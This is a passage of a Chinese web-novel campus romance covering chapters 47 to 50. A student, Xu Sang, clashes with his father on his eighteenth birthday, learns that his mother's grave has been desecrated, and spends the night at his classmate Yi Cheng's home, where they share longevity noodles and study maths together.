“我开始也想过这个问题。”李承宇搬着板凳掉头,颇有兴致地把手机捞出来,翻了几翻后丢到桌子上,说:“只是,近两年,越发明显能感觉到政策在倾斜。具体的我就不讲了,但这点红利,我想吃下来。之前,我靠创业项目赚了钱,就往家里购置些厨具,积少成多……估计翻修几个月,来年翻春就能开起来!” 易承想起上次进里屋时,见到的与外部布局截然不同的器具,瞬间恍然。 等他的分享欲消耗殆尽,易承说道:“加个联系方式吧?” “好啊。”李承宇把二维码调出来,“以后店里翻新了,你们来,第一顿免费!” “好。”易承将好友申请发出后,一边喝完剩下半瓶酒,一边扫着墙上贴着的菜品栏,忽地有了些想法。 从牛逼炒馆出来,易承步伐都轻快了不少。搭上许桑的肩,轻笑:“我好像,找到新的出路了。” “嗯?”耳畔簌簌染起气息,许桑微偏头,“水果店的事?” “对。”易承解释道:“方才,他儿子说的,提醒到我了。” “嗯。”许桑垂眸,看着人,跟着一笑,“世界大了,问题就小了。”- 周三周四的课全被清空,要么考试用,要么复习自用——老师除了守班,就是监考,闲得都能睡十几二十觉了。 坐在第一排第一位,许桑将彩印答题卡取出一张,而后把剩下的向后递。 借此动作空隙,他向对角线尾端的人看去,轻轻勾唇。 按照年级排名来算,易承刚好卡在35位,坐在一考场靠后门的最后一位。 他伸手接过前排传过来的唯一一张卷子,翻转检查好,凭肌肉记忆写名字时,有感应般,抬头看了一眼首位的人。 视线将将相触,他轻挑眉,唇角上扬- 考完,答题卡收上去的瞬间,整栋教室地震了般,全是跺脚发癫的声音。 “这是人能做的题吗?从头难到尾,我笔头咬断了都咬不出个所以然来!” “所以,我这是花25块,去买了两天的不痛快?” “我听说,这次参考的,有两万五还是三万人,我都不敢想,到时候成绩下来了,我能不能读利索我的排名,呜呜呜……” 从教室外把书搬回抽屉,整体收拾干净卫生后,教室里死了一半。要么仰头叹息,要么埋头痛哭。 反正,徐富从教室前走到教室尾,没见到几个是正常姿势的。 “都成霜打的茄子了?”徐富背着手蹬上讲台,“一场考试而已,都振作起来。这次考完,好好查漏补缺,还有下次。慢慢来,不着急。” “还不着急!我急得眉毛都要烧没了,你们还无动于衷?!” 半星期时间,交叉阅卷结束,分数由各校综合回收——徐富拿着标了各种印记的成绩单,气急之下,直接踩着椅子站起来吼:“知道你们考成什么狗屎样子吗?” 底下鸦雀无声,有些情绪敏感的,眼巴巴望着桌面,泪水都准备好了。 “距离高考还有189天,还觉得时间充足呢!”他喊累了,从椅子上下来,懒得擦,直接坐,语气转而舒缓了不少: “这次考试,连同市外几所学校一起参考、拉通排名。我们班,除了许桑同学发挥稳定,夺得总排第一之外。其余人,没有任何人让我满意。” 有吸气声,还有暗暗的眼神,明显或不明显地向后排瞟去。 “脑袋转回来,有看别人的功夫,题都研究一道了!”徐富看着成绩单,眉毛皱得都快竖起来了,“第二名,李云平,总排276。第三名,赵鸿途,总排413……第31名,吕丁,总排15424,第32名,陈慢,总排15689。剩下的就不念了,全在本科线以下。” “看到差距了吗?我的孩子们呐,高考从来不是跟一个班的比,是要拉出去遛的啊!” 光说成绩,从上课说到下课,徐富人都要说背过去了,掐着人中往外走。走出去两步,又走回来扒着门探头:“陈慢等会把成绩单贴墙上,你们都去好好看看,看看自己考的是坨什么狗屎!” 话落,立马引起哀嚎一片。 “许哥,许哥,我简直佩服得五体投地,你到底是怎么做到的?”吕丁用笔在手上写下自己的总排名,五个数字写得心头滴血,“我甚至都背不住自己的总排。” “……”许桑轻转笔,瞥了一眼他手背的红笔字迹,轻顿,“15424?” “还有我,许哥!”陈慢也将他的手伸出来,翻转,“我将成为新一代的数字战神,呜呜……” “……” 许桑实在不想再念他这串数字,淡声:“下次考试备点清凉油。” 别再睡过去了。 “啧。”易承在旁边听得想笑,实在没憋住,笑出声来,“同桌,人好歹叫你声许哥呢。” 吕丁和陈慢互看一眼,发声:“许哥,我们专心写的,专得不能再专了,一点没睡。” 许桑默了两秒,给出方法论: “试试去找科任老师,好话或者礼物,要一份单独的复习规划,先照做。” “好嘞!谢许哥指点!”说完,两人龙卷风一样卷着风就冲了出去。 耳畔回归安静,许桑轻按眉梢,刚全程刷题,没注意听老徐讲的,便问了一嘴:“你呢?” “我?”易承单手托腮,朝向他,“我什么?” “排名。” “这么关心我?”易承轻笑一声,凭着记忆,回答:“三四千吧,应该。” 闻声,许桑轻皱眉:按他的推计,不至于这么低…… “你这什么表情。”易承伸手,循着心尖儿上的欲望,轻轻刮开他皱着的眉,“嫌弃啊?” “嗯。”许桑由着他的动作,没多言,“卷子给我。” “好。”易承收手,不懂具体需求但百分百满足,将四套卷子连同答题卡一并呈上。 一节课后,许桑弄明白他的失分点,估计到他多多少少还是受了缺了知识点和题感的影响,将这一摞纸张一并还了回去。 易承接过,看完,轻挑眉。 每一张上,都做了或多或少的批注。最下方,还附着单独的草稿纸,上面写着简单明了的学习规划。 “啧。”易承看了眼旁边坐姿端正、面色冷沉似与世界无关的人,所行所做却沾满了温度,轻笑一声,“有心了,同桌。” 晚自习前,徐富火急火燎地跑来,说了周六期中表彰及家长会的事情,说完,就风轻云也淡地离开了,只留一众才受了重创又遭一击的人独自扛伤。 在叽哇声里,徐富走进办公室,对上清一色苦瓜似的脸,脸一下就垮了,气氛到了,他恨不能抱头痛哭。 年级主任在电脑上看着成绩单,越看脸越沉:“怎么最后一名也是咱学校的?先要脸,再丢脸,这不还是丢脸吗?” “这的确是有些不可控因素在的。”末班班主任不禁埋下了头。 “还不可控因素,我要听你放狗屁!”年级主任把电脑屏幕反了个方向,正对一众班主任,严肃脸: “我知道我们学校差,但也不至于这么差吧!尤其是转来了个许桑,本来我还没觉得怎么,但好歹有了考第一的实力,咱尾巴就不能掉那么严重!后面的再烂一点,咱附中裤子都得被拽没,到时候光屁股,那还像话嘛!” 二班班主任精准插空点头,接了话头:“主任,这个许桑怎么个来历?要不要考虑让他做个学习经验分享什么的?” 徐富愣了一秒,连忙回神: “许桑从大城市来的,家里有钱,从小成绩就好,别说在咱这轻轻松松第一,就是在大城市,都不下前十。经验分享不太靠谱,他嘴皮子硬,话少,万一就分享个‘经验所得’呢。” “……”年级主任瞪他一眼,“你倒是了解你班学生。” “那必须的,我心肝宝贝!”徐富想起他的数学成绩,感觉人生都美满了,恨不能逢人就昂头、平行于大地般地走路。 年级主任又白他一眼:“两天时间,每个班做好提升计划。不论如何,一百多天了。要死的鱼都知道挣扎,咱们直立生物,至少蹦一蹦!” “明白!”班主任们打了鸡血一样,齐声应道。 第48章 第48章 【“生日快乐。”】…… “谨遵年级主任教诲, 再加上各科老师巧思,我们班的提升计划正式出炉。”徐富跷着二郎腿,激情四射: “一天之内, 4~5人自行组成学习小组,座位不定。采取评分制,半月一结。名次进步加分,退步扣分;前三加分, 后三扣分。大致这样,分排第一, 20块钱, 我出;分排最后,扫一周厕所。” 指令一下,还没等教室吆喝起来,广播里就开始催各班操场集合,说是进行期中表彰。 大好的天气里,温和的演讲环节之后, 便是卓越、优秀、进步奖项的颁布环节。 “特优奖,800元;卓越奖,奖金300元;优秀奖,奖金100元;进步奖,奖金50元……” 吵耳的话筒声里,班级、名字连同奖金金额一并成了头顶的悬音,操场外都有闲步的大哥大姐、大妈大爷闻声而来,听听热闹看看闲趣。 许桑拿了木皮纸包着的奖金后, 正准备拆了放兜里,吕丁就贼着他的脑袋探了过来。 “许哥,我能看看吗?”他望着纸封, 像看什么绝世奇珍,“附中穷,我还是第一次看到这么大金额的钱。” “……”金额大? 许桑将纸封递给他。 “特优奖,理一班许桑,800元。”把上面的文字念出来,前排的人也都蠢蠢欲动地飘来视线,口水要留不留地盯着吕丁手里的纸封看,吕丁张圆了嘴,“ok,接下来的学习动力,就是这800元!” 赵鸿途拿着他的300元下来时,也往这边凑:“许哥,那个学习小组,要不我们组队吧?” “可以。”许桑随口应下。 他没多考虑分组这事,一来是他没闲心去认识五花八门的人,二来是他赌定这个小组计划不出三四周就死气沉沉了。 “就咱们五个人,刚刚好。”陈慢也蹦跳而来,丝毫不注意他是班长,有维持秩序这层责任,“那,许哥当组长吗?” 许桑默了一秒,看向易承。 易承会意,“换个人。陈慢,你当。” 基本事宜商量明白,易承用手臂轻擦许桑,偏头跟人咬耳朵:“同桌,嫌麻烦?” 许桑忍着耳垂处的痒意,应下:“嗯。” 年级主任上台发言完,便该带回班了。底下松散着结队往班里走,三三两两彻底乱成数不清几团麻。 “那个,许同学。” 被唤住,许桑停了步子,回头:“有事?” 易承也跟着停住,站他旁边防备性地将来人打量一遍,打量完,下定论:不构成威胁。 李云平高高瘦瘦一条人,一开口,就只剩“瘦”了,细细长长的声音像没发育完全,他晃着手里的卓越奖纸封,说:“许同学,分组的事。为了公平,一个小组不能既有第一又有第三,算下来不公平。” 自上次猜到他跟那邓茂光有些来往,许桑对他的印象便不是很好。 闻声,许桑按他的思路想了想,“玩对称配对?” “啊?”李云平顿了一下,“啊,对。” 许桑牵出一抹冷笑:“建立规则之前,先确保项目是你的。” 话落,他转身离开,易承“嗯?”了一声,明白话里的意思后,笑着,连忙跟上。 这是在骂他还是怎么? 李云平愣在原地,被身边同学拍了肩膀后,才回过神,他望着远去的背影,咬牙:“我一定会超过你——” “谁?”同学望进庞杂的人群里,“超过谁?” “关你屁事。”李云平推开人,从兜里摸出四级词汇本,红着眼边走边看。 “怪兮兮的。”同学往旁边绕道,又去勾搭别的人- 新的周末,新的放假时间。课上到周六下午6点才放学。 许桑回家途中接了通刘姨的电话,听她说家里有事,今晚连同明后两天都来不了。 他摁断电话,懒得自己做饭,他拐到超市买了桶泡面。 回家的路上,不明所以的,总是有种不好的预感……直到钥匙戳进孔洞,手拧开门把那刻,他看着屋内背对他而坐的熟悉身影,手指微屈,抵着门迟迟没动。 “回来了,小桑。”张文丽从沙发上站起来,满脸慈祥,“学习辛苦了吧?快来喝杯热牛奶,暖胃。” “……”许桑拔出钥匙,想喊声张姨便作罢,却不料,里屋紧接着走出个中年男人。 一身金贵的西装,没有鞋换便只能踏着他那双皮鞋。口中叼着根烟,走出来时,从腹部深处哼出一声,“许桑,我不来找你,你是一个电话都舍不得打给我是不是?” 许桑面色转沉,进来时将门带上,弯身换鞋,没有要理人的意思。 “哎呀,铭叔,小桑应该是学一天学累了,先等他坐下来吃口饭喝口汤。”张文丽上前宽慰,虚虚地掸他手臂上不存在的灰,还不忘朝许桑递眼色。 “……”许桑熟视无睹,换上拖鞋,便要绕开人走。 余光落在他逐渐攥紧的拳头上,许桑几乎是完美预判了他的动作,侧身,躲开他动作的瞬间,拧住他的手腕,轻皱眉。 两人僵持着这个动作,最终是许铭先一步松了手,他长叹息一口,“许桑,能不能坐下来,咱好好谈谈?” 许桑淡淡扫了他一眼,拉下单肩挂着的书包,往后两步坐到沙发上,眉目疏冷。 “这脾气。”许铭没敢跟他并排坐,单独拖了一根板凳,立在茶几对面,弯下腰坐下来。要开口前,先将张姨招呼进屋,才尽量平和地开口:“听说你们今下午开了家长会?” “嗯。”许桑应道。 “那我个当爸的,还不能去给你开个家长会了?”刚听见许桑回了他一句,许铭感觉有缓和的机会,带着板凳往前一小步,“别人身边都有家长,你坐在家长堆里,不觉得尴尬?” 许桑轻掀眼皮:“食堂自习。” “……”许铭顿住,加工老半天才反应过来,“好,就算是你们学生坐食堂里上自习,家长在教室开家长会。那你让那些家长怎么看你的空位,说你家里没人吗?那你听着心里不难受?” 许桑淡声:“有同桌。” “……”又加工老半天,许铭继续:“就算你同桌也没有家长来,但也不是你从源头上阻断家长来开家长会的理由啊!我堂堂一个大爹,被儿子除名了,这算什么事儿啊!” “而且,你知道今天是什么日子吗?” 许桑轻顿:“不知道。” 许铭双手按着板凳,才稳住身形,没让心头气给自己冲飞了。“许桑,老子生你不是让你来噎死老子的!” 见许桑迟迟没有动静,许铭只能大叹气,而后自己补上,“今天12月11日,你生日啊。我开完公司的会,就连忙飞回来,这里没飞机场,出租车两小时坐过来的……你,给爸笑一个?” “……”许桑皱眉,看傻子一样看向他,“有病?” “你笑一个就没病了。” “滚。”许桑最见不得他这副样子,恶心得没边,偏偏还不自知——撒泡尿都成不了镜子,照出来也是一坨排泄物。 说着,他就要起身,又被许铭匆忙舞起来的两手按住,“小桑,我给你准备了生日礼物,要不要先看看?” “不看。”许桑说着便要挣开他,与此同时,裤兜里的手机疯狂炸进消息,怕一招给许铭掀飞了,他坐下来,摸出手机看。 “这就安静了?”许铭看着自己的双手,以为是附上了什么洪荒之力,震惊几秒后,又重新坐下来,顺便堵了他从这边出去的通道,见他看手机看得认真,调侃道:“谈女朋友了这是?一条消息都不错过?” 许桑没答,将陌生短信点开时,心头隐隐有预警,可直至真真切切将照片点开,他眼神瞬间变味,手指轻颤着将图片从头滑到尾,开口时,甚至没注意自己嗓音发涩:“生日礼物?” “嗯呐,我专门找人定制的,看预成片的时候,我就觉得很不错!”许铭见他来了兴致,忙解释。 “呵。”许桑将手机调了个头,放在茶几上推向他,眼底压抑着翻涌的情绪。 “怎么了?”许铭伸手拿过手机。 短信界面,发信人是一串电话号码,信息内容是几句话加三张图。 【xx:哥。】 【xx:生日快乐啊!(烟花)(生日蛋糕)(玫瑰)】 图片是雷同的内容,不同的角度。 低缓的山坡上,枯草遍布,大概是飘来的落叶;按理说,之前种下的山茶花,在这个季节这个温度,应该有盛放的迹象……此刻,却碾在一双厚重的鞋底下,被践踏成泥渍。 “这……”许铭往后一靠,瞳孔都增大一倍,“这是小降发你的?” “我自娱自乐?”许桑端过茶几上的牛奶,抿了一口,烦躁已使味蕾失去刺激源,品了很久跟没喝一样。 轻顿,他放下杯子,伸手要拿回手机时,却见许铭将那几张照片选中后按了删除,只余下生日快乐的祝福,而后交还他手机,说: “肯定是误会!你妈的墓地,我派专人看护着,她最爱的山茶花开得好好的,肯定开得好好的。” 无力的语气藏在苍白的解释里……闻声,情绪几乎在瞬间崩泄,许桑捏着手机的力道逐渐加重,良久,他轻声:“嗯,我误会了。” 话落,他将手机揣兜里,无力感攀升,他低声骂了句脏,从侧面走出去。 “许桑,你给老子站住!”许铭看他大有换了鞋就要冲出家的趋势,高声:“张姨,快,快点火!” 要烧死他? “……”许桑迟疑了一秒,站在鞋柜处看向他。 下一秒,视线穿过许铭,大敞开的阳台处,染了灰黑的天,随着尖锐的爆鸣,炸开一团团的彩色斑斓。 不知道几排齐放,只知道,炸出了四个字:“生日快乐”。 “……”许桑弯身勾过鞋,呵了一声,推开门就往外走,没再多一秒迟疑。 神经病。 朝昏区里忽然起了烟花,炸得楼上楼下楼底的人都出来了。 “这谁家的烟花,还没过年呢,放个屁!” “生日快乐?嘿哟喂,这烟花还挺高级,过生日还能这么搞呢?下回我儿子求婚也用这招!” “放这么多!咱小区什么时候有这么有钱的人了?” “我的个天老爷啊,明天肯定要出雾霾,老子要早起抢摊位的呀,哎哟!” “……”从人流中错出来,许桑随便找了个安静的地方坐下,将六七通未接电话看了一眼后,点开聊天框。 【许总:许桑!!】 【许总:你给老子回来!!】 感叹号不要钱啊……许桑将人拉黑,手肘顶膝,将手机转了一圈后,埋头。 貌似从许降跟他妈进门之后,他便没给过许铭好脸色。 不为别的,只是觉得,许铭似乎忘了一个人,而且忘得很彻底。 许降说聪明也不见得,但一双眼睛很尖,知道他的软肋后,菜刀尖刀钢刀挨个来捅,捅不动就换刀,死不罢休……他爸也是能人,觉得他有金刚不坏之身,刺一百刀还特么能面不改色! 没有深想,许桑重重呼出一口气: 挺好,生日当晚,露宿街头。 刚准备倒头就睡、大不了明早冻成冰块送火葬场去化了,手机忽地震动了一下。 许桑看了眼来电人,顿了两秒,接听了。 “生日快乐。”易承的声音有些晃悠,大概是手上忙着,偏头将手机杂在肩颈与耳间。 鼻尖忽地发涩,许桑问道:“你怎么知道?” “刘姨上我这买水果,提了一嘴。”易承摘了手套,拿过手机,笑道:“烟花阵仗也挺大。” “……”许桑往后轻仰,后脑勺抵住墙,他喉咙带有哑意,像忽然找定锚点,他开口:“易承。” “嗯?” “今晚能睡你家吗?” 第49章 第49章 【“果然叛逆期。”】…… 易承以为自己听错了, 顿了两秒后,问道:“你说什么?” “……” 刚刚多少有些自意志驱使,这时褪下本能的面纱, 许桑反应过来自己说了什么,耳尖泛上薄红,遮掩道:“没什么。” “可以。”易承几乎是紧跟着他的回答出声的。 许桑轻顿:“嗯?” “只要你不嫌弃,可以。”易承依据经验, 估摸着他遇到什么不好的事儿了,看了眼电灯下正做作业的秋秋, 添了一句:“而且, 秋秋也想你了。” 隔着手机,能听到对面带着暖光般的对话。 ——“秋秋,想不想你许桑哥哥?” ——“想!” “听见没?”易承将听筒调向自己,多余了一嘴,“要我来接你吗?” “……”许桑默了一秒,稍显恍惚:“不用。” 电话挂断的那刻, 心头堆砌的重山瞬间坍塌成烟消散,他发自内心地,轻笑出声。 头顶烟花散去,街巷间看趣的人也离兴而归,人声落尽,朝昏区又归于原本向晚的宁静。 许桑敲响门时,开门的是秋秋,穿着身粉蓬蓬的毛绒衣服, 笑滋滋地招呼:“哥哥!” “秋秋。”许桑掩门,刚想问换鞋的事,隔着些距离, 就听易承喊道:“秋秋,把鞋柜里的新鞋拿给你许桑哥哥!” “好!”秋秋得令,四肢灵活地扭动,而后将那双黑色、尚带包装的拖鞋拿了出来。 “谢谢。”许桑弯身换鞋。 厨房隐隐飘来饭菜的清香,一端电视里还闹腾出幼稚而愚蠢的音效…暖黄偏亮的光线自上而下垂落,屋里落满了柔和与温馨。 像梦里百转千回却落不到实地的家。 见易承在厨房忙,许桑本来想帮忙,但被交代了句:“坐就行。” 他便走出来,陪秋秋看了会电视,在半集动画片的侵袭下,感觉智商连同脑子都受到了极大的冲击后,偏过了视线。 茶几上,摊着张试卷,草稿纸也附在旁边。 他微微倾身,视线直接转到第二页上,停留,自上而下浏览,看完,他轻挑眉:挺考思维的一套题。 没等他细细品鉴纸上潦草勾写的答案,厨房门就被推开,易承端着小号白瓷碗走了出来。 “时间太赶,就没准备蛋糕。” 易承单手绕到后腰解了围裙,又顺手脱了搭在沙发一侧,将碗放茶几上,抬眸笑:“将就着吃碗长寿面?” 视线从题目上移,许桑看着他眼眸中染着光的笑意,顿声:“长寿面?” “嗯哼。”易承挨着他坐下,把筷子递过去,轻声,“或者,要先许个愿?” 许桑轻摇头,“不用。” 面汤应是用棒骨熬煮过,香气浓郁;面不多,盘盘绕绕极长一根;青菜等辅料上方,躺着只荷包蛋,形状不错。 见他接了筷子,易承补充:“面别咬断,一口吃完。” “怎么?”许桑些许诧异,刚要挑面的手一顿。 易承轻挑眉,笑了声:“长寿面没听过?” 许桑顿了一秒:可能听过,但也是第一次吃到… “讲个故事。”易承怕扰了秋秋看动画片的兴致,朝许桑凑近了些,在他耳后轻声:“《相书》中说,人中越长,寿命越长。传着传着,进化成了脸长,脸同面,继而有了长寿面的说法。” 听言,许桑笑了声,虽发自内心觉得是无稽之谈,但还是垂眸看了眼面条,手指调转方向,从中间翻转,将面条绕缠,卷附在筷子上。 一根从头到尾夹起后,他将面条送进口中。 “还能这样?”看他的吃法,易承忽而一笑,笑得肩头轻抖。 笑声连同气息洒落在耳垂,温热的,许桑轻顿,咽下后,偏头看了眼他,“那要怎样?” 见他一副在理的表情,易承笑得更放肆了,慰道:“都行,都行。” “还有蛋,象征生生不息。”易承微抬下巴,虚空点了点上面的荷包蛋,解释:“好像是吧,记不清了。” 许桑将蛋夹起来,下口前问道:“你还信这些?” “我妈每年念叨一遍,耳朵都听出茧子了。”易承随口,“就是铜墙铁壁,也该信了。” 许桑轻点头,“嗯。” 他沿着蛋清边开始咬,顿了两三秒后,还是吃了中间的蛋黄——尽管他向来拒绝蛋黄。 或许,在今天,有些贪图其中的寓意吧。 动画片转到广告环节时,秋秋意犹未尽地上前抱了抱电视机,才迈着小短腿蹦跶到饭桌上,开口:“哥,我饿了。” “先别饿。”易承将白米饭呈上来,“给你许桑哥哥唱首生日快乐歌。” “好啊好啊!哥哥生日快乐!”秋秋眼睛一亮。 她衣摆一提,就忙往房间跑。跑出来时,双手抱着个公主色豪华版小话筒,很有范儿地调出自带的曲目,刚好是首生日快乐歌,她仰头,自我陶醉般地起调: “happy birthday to you…happy birthday to 许桑哥哥,happy birthday to you!” 听她唱着,许桑实在受不了这十个音九个不在调上的荒唐,偏过头笑,笑到一半,就听易承也跟着和了后半截,稍低偏沉的音色咬词清晰,要结尾前,他借发碗筷的动作,擦着他耳边说了句“生日快乐”。 闻声,许桑耳稍发烫,身子轻顿:“谢谢。” 易承的手艺还真没得说,简单的炒菜都格外下饭。 秋秋胃口小,先一步下了桌,按着遥控器调到她最喜欢的动画片,不料又是则生日片段,听着动感的生日快乐歌,她笑眯眯地转过头,大声:“哥哥,生日快乐!” 许桑偏头朝她致谢,视线刚落回,坐旁边的易承就又要开口。 他想也没想,手动给人封口,“够了。” 他在心底吐槽一句:有完没完,一晚上要快乐多少次? 易承笑着点头,伸手将许桑竖着落他唇前的食指按住,说道:“猜到我要说什么了?” “嗯。”许桑收回手,吃得差不多了,便舀了半碗排骨汤,晾着,“谢谢。” 易承落筷时,没急着下桌,他偏头看着许桑。 他今天帮忙收店时,见到了刘姨,她说许桑爸爸回来了,自己放假两天,工资照领,乐呵呵地买了两斤梨……想及此,他轻声问道:“和家里闹矛盾了?” 许桑捧着碗抿了口汤,回应:“算是。” “所以,”易承想了想措辞:“这是在离家出走?” 许桑放下碗,“……嗯。” “啧。”易承笑着,“也是个叛逆少年。” 许桑默声,勺子轻点碗沿,没否认: 若非现在在南城,一个地图上搜不到酒店、寻半天寻到的旅馆门面都贴着黑色广告的地方。他大概率会和之前一样,订个房便独自一人睡了。 “真不打算回去?”易承看清他眼睫的轻颤,温声询问。 许桑看向他,以为自己蹭一晚上实属冒犯了,指尖轻缩,说道:“睡街头也行。” “啧。”易承敏锐察觉到他语气里的不对劲,稍有停顿后,伸手,轻轻揉了一下他的头,感受到手心下许桑微微一颤,说道:“我的意思是,家里客房堆了些货,怕你跟我挤着,睡不好。” 许桑瞥了眼身侧的手臂,淡声:“手收回去。” “好。”易承随着他,“所以,这种情况下,真不打算回去?” 许桑望进他眼里,“嗯。” 易承轻轻一笑,转眼见他盛的汤热气散了,起身,另取过一碗,去厨房舀了些煲里的热汤,递给他时,背着虚抵桌沿,“喝热的。” 许桑接过,指腹贴着碗身,感受着由内传出的热意,抬眸:“我没那么矫情。” 易承笑得有些宠溺,垂眸看他,“果然叛逆期。” “……” 汤还烫,没急着喝。 许桑往后靠到椅背,两腿微张,单单一看,是个霸蛮的姿势,他微仰头,眸光带着惯常的利劲儿:“你多大?” “我?”易承“啧”了一声,“你今天18?” “嗯。” “……”易承偏过头,声音小了些许,“那是要小几天。” 许桑轻勾唇,微微扬了下下巴,“弟弟?” “……”易承头回在年龄上占了下风,想反驳,好像又说不过来,只能在心里怨怨老天爷没早几天把他踢出娘胎,他偏了下头,“其实也差不了几天。” “多久?”许桑微挑眉,周身又染了从前“为非作歹”时的气势。 易承轻声:“一月八号。” 与此同时,算出小了28天、差点就有一月之久,他暗暗有些不爽,但又说不上具体是哪里不爽。 许桑轻笑一声,虽是抬眼望他,气势上却丝毫不输,甚至于眸中的压迫,更胜一分,“那以后少来这种语气。” “哪种?”易承被他认真的模样逗得想笑,倾身,目光直抵他的眼。 也不怵他,许桑淡声:“比我大的语气。” “啧。”易承笑了:还真是叛逆期到了。 见他眸光转冷,他应道:“好好好,依你。” 晚饭用完,易承又系上围裙,洗碗。 从厨房出来,看着沙发上正用笔随意勾着草稿的人,他上前一步,见时间不早了,忽然想到什么,小声问道:“要洗澡吗?” 笔尖轻顿,在纸上擦出一条长痕,许桑偏头看他,“嗯?” 从披过许桑外套、闻到沾着的清香开始,易承打心眼里觉得这人多多少少爱点干净。他解释道:“衣服我有,但……” 将要出口的话停了一下,易承不自觉的,声音压得更小,“要我帮你买内裤吗?” 第50章 第50章 【“以后,追人别用嘴。”】…… 沉默放肆地蔓延了几秒, 易承绕开:“你去也行,楼下就有超市。” 许桑落笔,看神情, 几乎是衔着话题便一路狂奔到终点线,他起身,“好。” 见他动作麻利而迅速,三两下便收拾好出了门, 易承坐沙发上,笑了声, 摸出手机, 给人发消息。 【易承:室内超市,1-2,进正门左手边,别走丢了。】 【易承:贴身衣物在最后一栏。】 【易承:顺便带两瓶酒吧,钱算我的。】 发完消息,见半天没有回复, 易承笑着将视线挪向电视机,看着被两头熊追成虚影的光头强,他意外的闲,问道:“秋秋,怎么每天都是这集?” “才不是。”秋秋回头瞪了他一眼,“明明是最新的。” “是吗?”易承喃喃一句,手机震动的瞬间,低头看向屏幕。 不是许桑的回复。 他悻悻叹气, 点开“五虎上将”的群聊。 【不识好人丁:我靠靠靠?你们看到没,我妈说今下午有烟花,烟花上还有字儿!】 【不学习浑身难受:什么东西?】 【慢即是快(为人民服务版):我看到了。】 【慢即是快(为人民服务版):谁生日吧。】 【慢即是快(为人民服务版):不过, 你们还真别说。我翻翻班级资料,看看是不是咱班的阔少富姐……】 还没等陈慢真去翻箱倒柜,易承引用了“谁生日吧”那句,简单给了两字:“许哥。” 群里安静了一秒。 下一秒,连着问号带感叹号,一连串“生日快乐”、蛋糕、彩带、烟花飘了满屏。 “……”易承指尖轻顿,看着持续滚动的屏幕,“啧”了一声: 这阵仗。 不一会儿,许桑终于冒泡了,发了两个字:“谢谢”,便没入水中没声了。 【慢即是快(为人民服务版):我收回我的烂话,许哥生日快乐乐乐!】 【不识好人丁:易哥,你怎么知道?知道怎么不早说?害我没准备礼物!】 【慢即是快(为人民服务版):我也是。许哥,我周一一定补上!】 【不学习浑身难受:+1.】 易承将新消息浏览完,随便逮了两句回复后,将手机撂到旁边,看了眼许桑无聊时做下的题。 这速度……他洗个碗的功夫,这边四五道题的答案都被人勾出来了。 还给他做出的两道题答案,打了个冷淡到毫无温度的“×”。 “……”易承轻笑,将过程看了几遍,做了个简单的错题总结后,看了眼秋秋,道:“秋秋,等会记得开门。” “好。”秋秋抱着遥控板,视线死钉在电视上、根本搬不动地应付着答应。 许桑回来时,听到浴室里传出的水声,轻顿,将两瓶酒放茶几上,无事可做地走到阳台边。 入夜了,天际延伸至看不清的混黑里,天幕间亮着时隐时现的星星。 像是在调戏月亮。 他背过身,摸出手机,打开软件,调出键盘便开始打字。 百来字的一封信,简短而平淡,却是几十封信以来,从未有过的上扬语调。 易承从浴室出来,见秋秋抱着遥控板、脑袋不停地向下磕地,弯身,“秋秋,去睡觉。” “好。”秋秋丢了遥控板,揉着眼睛,左一脚深右一脚浅地往房间走,要进房间时,还不忘摆摆手,“哥,晚安。” 隔了几秒,她探出脑袋,语调有些困,“许桑哥哥,晚安。” “嗯。”许桑将信发出,抬眸,回道:“晚安。” 等人回了房间,易承走过来,在他旁边站住,手肘抵在窗沿上,偏头,“困没?” 许桑背对他而站,直接逮着他的潜台词回答:“我去洗澡。”- 气泡酒? 易承随手提了一瓶,看清上面浅得没边的度数,顿了一下,拧开,喝了一口。 淡淡的酒味,淡淡的果香……一点也不刺激。 他弯身将另一瓶也抱起,继而将两张试卷夹在指尖,回了房间- 洗完澡,许桑用干毛巾擦着头。清洗衣物时,顺手将毛巾搭在头顶,弄完,才一边擦头一边走进房间。 书桌旁,易承捏着笔,指尖生风地转着笔,视线落点在题上。 刚挑衣服时,许桑随意摸了件宽松款的短袖,大概是觉得这屋里总暖暖的,很舒服。他走到书桌旁,要开口前,注意力先一步被题吸引了去。 一道导数题,还是一类,在历届高考史上,被称为“天外飞仙”似的题型。 遇到难题,思维最易卷附其中,继而深陷沉沦……易承大概也是如此,在凭空构造函数这一步停了很久,连转笔的速度都放至极缓、最终停滞。 许桑擦头发的动作停住,索性直接将毛巾搭旁边,垂眸,将题扫完后,看他在空白处接连叉掉的三个新函数。 轻挑眉,他不由地向前倾身,手轻轻搭在椅背上,看草稿纸。 “方向偏了。” 从他新写的函数中看出思路,许桑出声提醒。 耳边飘入声音,易承轻顿,微微偏头,鼻尖轻擦过他脸颊,“嗯?” 许桑一心在题:“规律没找对,构造方向偏了。” 易承重新看向题,却有些莫名走心。不知道是洗发露还是沐浴露,又或者是他身上的味道,清淡却不容忽视的香味飘入鼻腔,他用力捏了道笔,呼气,重新看题。 一分钟后,他落笔,从函数构造到最终的“得证”,一气呵成。 “这样?”讨赏一般,易承笑着微微向后靠。 后脑勺不禁抵到他腹部的一刻,许桑垂眼,手心按住他后脑勺,呼吸乱了一分,但很快恢复平静:“可以。” 又看了一遍过程,许桑挑眉,“你再试试,换种思路。” 很抽象的提示词,但易承还是听懂了,他看着方才找出的规律,将构造出的稍显复杂的函数叉掉,思考一会儿后,落笔。 半分钟后,看他写出自己内心所想,许桑指尖下滑,轻点在他颈侧,感受到他颈侧温热的脉搏跳动,眼神发沉。 “怎么?”易承脖子轻缩,放下笔,问。 “一诊。”许桑看着纸上的过程:逻辑思维强得过分。想起他惨淡的数学分数“102”,他轻敛眉,“故意的?” 易承挑眉,跟着他的视线看向题,“啧”了一声,没再遮遮掩掩:“也不全是。” 许桑指尖用力:“说清楚。” 这压迫感……脉搏在对方指尖之下跳动,易承有种自己的命都捏在许桑手里的感觉,却又没有平日想要挣脱以求平安的危机感,甚至还微偏头,如实道:“感觉分数够了。” “怕没有时间再精进。”他不习惯这种吐露心肠,有种把自己剥光了晾给人看的羞耻感。 但最终,还是说了,“所以,在擅长的领域,调低了自己的心理预期。” “嗯。”许桑轻声,“正常来说,能上135吗?” 易承几乎是脱口而出,像是早就想过这个问题:“擦边。” 许桑默了下。 这次的一诊,说难度绝对是有的。 其实,每年,综观高考前的诊断性考题,不乏花里胡哨的。 出题人总有些网红属性,时不时想博个噱头或者捞个话题度地,留一两道题超纲,或是百般刁难地设计偏而怪的文字陷阱。 但去掉这些痕迹,135应该还是保底的…… 许桑顺着心里想法,说道:“那确实,还欠点。” 